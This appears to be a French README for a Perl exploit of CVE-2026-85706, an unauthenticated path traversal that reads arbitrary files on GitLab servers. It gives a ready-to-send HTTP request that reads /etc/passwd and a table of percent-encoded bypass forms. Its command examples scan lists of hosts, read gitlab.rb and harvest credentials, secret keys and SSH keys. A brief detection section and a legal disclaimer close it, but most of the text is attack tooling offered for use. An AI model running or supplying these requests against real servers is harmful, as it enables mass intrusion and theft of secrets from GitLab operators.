PoC Perl exploitant CVE-2026-85706, une traversée de chemin GitLab non authentifiée permettant la lecture arbitraire de fichiers, avec analyse en masse et collecte d'identifiants.
Pour les tests d'intrusion autorisés et les opérations Red Team uniquement.
Toute utilisation non autorisée constitue une infraction pénale. Voir Mentions légales.
CVE-2026-85706 est une vulnérabilité de traversée de chemin (path traversal) de score CVSS 10.0 affectant les éditions Community et Enterprise de GitLab, qui permet à un attaquant totalement non authentifié de lire des fichiers arbitraires du système de fichiers du serveur avec une seule requête HTTP. Aucun identifiant, aucun jeton, aucune interaction utilisateur requise.
| Branche | Plage vulnérable | Corrigée dans |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
La pile HTTP de GitLab comporte trois couches :
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse agit comme un proxy inverse intelligent : pour certains points de terminaison « upload » (commits de dépôt, opérations sur les fichiers), il lit les corps de requête multipart, enregistre les données de fichier sur disque et réécrit la requête avant de la transmettre à Puma. Point crucial : il attache un en-tête JWT (Gitlab-Workhorse-Api-Request) à chaque requête qu'il proxifie. Rails valide ensuite ce JWT (via require_gitlab_workhorse!) avant d'exécuter toute logique de gestionnaire.
Couche 1 — Correspondance de route Workhorse :
Workhorse fait correspondre les chemins de requête à l'aide d'une expression régulière compilée qui opère sur la chaîne d'octets brute, encodée en pourcentage. Il ne décode PAS les séquences %XX avant la correspondance.
Couche 2 — Routage Puma/Rack :
Puma décode les séquences %XX avant que Grape ne route la requête. Ainsi, une requête vers /repository/%63ommits est décodée en /repository/commits et routée vers CommitsController.
Couche 3 — Lecture de fichier pré-authentification :
Une fois dans le gestionnaire Rails (atteint sans le JWT de Workhorse, car Workhorse n'a jamais fait correspondre la requête), le gestionnaire lit params[:file][:path] depuis la chaîne de requête et appelle :
File.open(params[:file][:path]) # ← se produit AVANT l'authentification
En encodant en pourcentage un caractère dans un segment de chemin statique, la requête de l'attaquant passe à côté de Workhorse sans être détectée :
| Segment | Original | Forme de contournement | Caractère encodé |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (any) | commits | commits/ | barre oblique finale |
| (any) | commits | commits.json | suffixe Grape |
Après l'ouverture du fichier, le contenu est exfiltré via l'analyseur de chaîne de requête de Rack :
Rack::Utils.parse_nested_query(File.read(path))
Si le fichier contient un % non suivi de deux chiffres hexadécimaux valides (ce qui est courant dans les fichiers de configuration Ruby, les YAML de CI, les journaux, etc.), Rack lève :
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Ce corps de réponse 400 contient le contenu brut du fichier jusqu'à l'octet fautif inclus — révélant le contenu du fichier à l'appelant non authentifié.
Les fichiers sans séquences % exploitables (par ex. un /etc/passwd propre) renvoient un 401 ou une erreur de validation de paramètre après la lecture : cela agit comme un oracle d'existence de fichier (la lecture a bien eu lieu avant l'authentification).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Module | Paquet | Rôle |
|---|---|---|
LWP::UserAgent | libwww-perl | Client HTTP (obligatoire) |
LWP::Protocol::https | libwww-perl | Prise en charge HTTPS (obligatoire) |
URI::Escape | liburi-perl | Encodage de chaîne de requête (obligatoire) |
Term::ANSIColor | libterm-ansicolor-perl | Sortie colorée (facultatif) |
JSON | libjson-perl | Mode de sortie JSON (facultatif) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| Rapide (par défaut) | Complète (--full) | |
|---|---|---|
| Requêtes | ≤9 (1 pré-vol + ≤4×2) | 27+ |
| Sortie anticipée | Oui — s'arrête au premier différentiel confirmé | Non — balaie les 22 formes |
| Informations de version | Non | Oui |
| Formes de contournement | 4 représentatives de l'API Files | Les 22 (API Commits + Files) |
| Idéal pour | Reconnaissance rapide, grandes listes d'hôtes | Rapports de pentest, préparation --file/--scan |
Pipeline de vérification rapide :
GET /api/v4/version — accessibilité + indice GitLab/etc/hostname + canari uniquecanary → 'local file not present' ∧ hostname ≠ canary → VULNÉRABLE (sortie immédiate)Pipeline de vérification complète (--full) :
--project-id et modes de vérificationL'option --project-id est utilisable dans tous les modes, y compris --check et --check-host-list. Comprendre l'interaction :
| Groupe de contournement | Formes | Dépendance à l'ID de projet |
|---|---|---|
API Files (%66iles, %46iles, re%70ository/files, …) | 14 | Aucune — la lecture de fichier précède la vérification du projet par conception de la CVE. Tout ID (même inexistant) produit le signal correct. |
API Commits (%63ommits, %43ommits, repository/commits/, …) | 8 | Requise — le projet doit exister et être lisible anonymement. Renvoie project-gate sinon. |
Conseils pratiques :
--check (rapide) : utilise uniquement les formes de l'API Files → l'ID de projet est sans importance.--check --full : teste les 22 formes. Si vous connaissez un ID de projet public, passez --project-id <N> pour confirmer également les formes de l'API Commits.--check-host-list : un seul --project-id correspond rarement à un projet public sur tous les hôtes. Omettez-le.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| Verdict | Signification |
|---|---|
leak | Contenu du fichier renvoyé dans le corps de la réponse via l'erreur d'analyse Rack |
leak-fragment | Renvoi partiel du contenu via un fragment de nom de paramètre |
read-noecho | HTTP 401 sur le chemin de contournement — ambigu : soit la lecture du fichier a eu lieu avant l'authentification (vulnérable, contenu propre sans mauvaise séquence %), soit l'authentification se déclenche avant la lecture (serveur corrigé). Utilisez --check pour confirmer par différentiel |
missing | Le chemin de contournement a fonctionné ; gestionnaire atteint ; fichier absent ou non lisible |
rewrite | Workhorse a intercepté cette forme de chemin — contournement échoué |
project-gate | L'API Commits a rejeté le projet ; essayez les formes de l'API Files |
noroute | Rails n'a pas routé cette variante de chemin |
| Fonctionnalité | PoC Python | Ce PoC Perl |
|---|---|---|
| Variantes de chemin de contournement | 6 | 15 |
| Analyse de fichiers en masse (T1083) | ✗ | ✓ Liste de 38 chemins intégrée |
| Collecte d'identifiants (T1552.001) | ✗ | ✓ 22 motifs d'identifiants |
| Sortie JSON | ✗ | ✓ --json |
| Sortie fichier / tee | ✗ | ✓ --output |
| Messages d'oracle d'existence de fichier | Basiques | Explicites, avec code couleur |
| Logique de nouvelle tentative | ✗ | ✓ --retries configurable |
| Délai par requête | ✗ | ✓ --delay (secondes flottantes) |
| User-Agent personnalisé | ✗ | ✓ --user-agent |
| IDs de namespace/projet | ✗ | ✓ Encode automatiquement / → %2F |
| Mode verbeux | ✗ | ✓ --verbose |
secret_key_base et otp_key_base dans gitlab.rb/home/git/.ssh/, /root/.ssh/)Recherchez les requêtes POST ou PUT vers des chemins /api/v4/projects/*/repository/ contenant :
%63, %43, %72, %70, %66, %46, etc.)file.path.json sur les points de terminaison commits ou filesCet outil est fourni strictement pour :
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test est illégale dans pratiquement toutes les juridictions et peut entraîner des poursuites pénales en vertu des lois sur l'usage abusif de l'informatique (CFAA, Computer Misuse Act, etc.).
L'auteur et les contributeurs de cet outil n'assument aucune responsabilité pour tout usage abusif ou dommage causé par ce logiciel.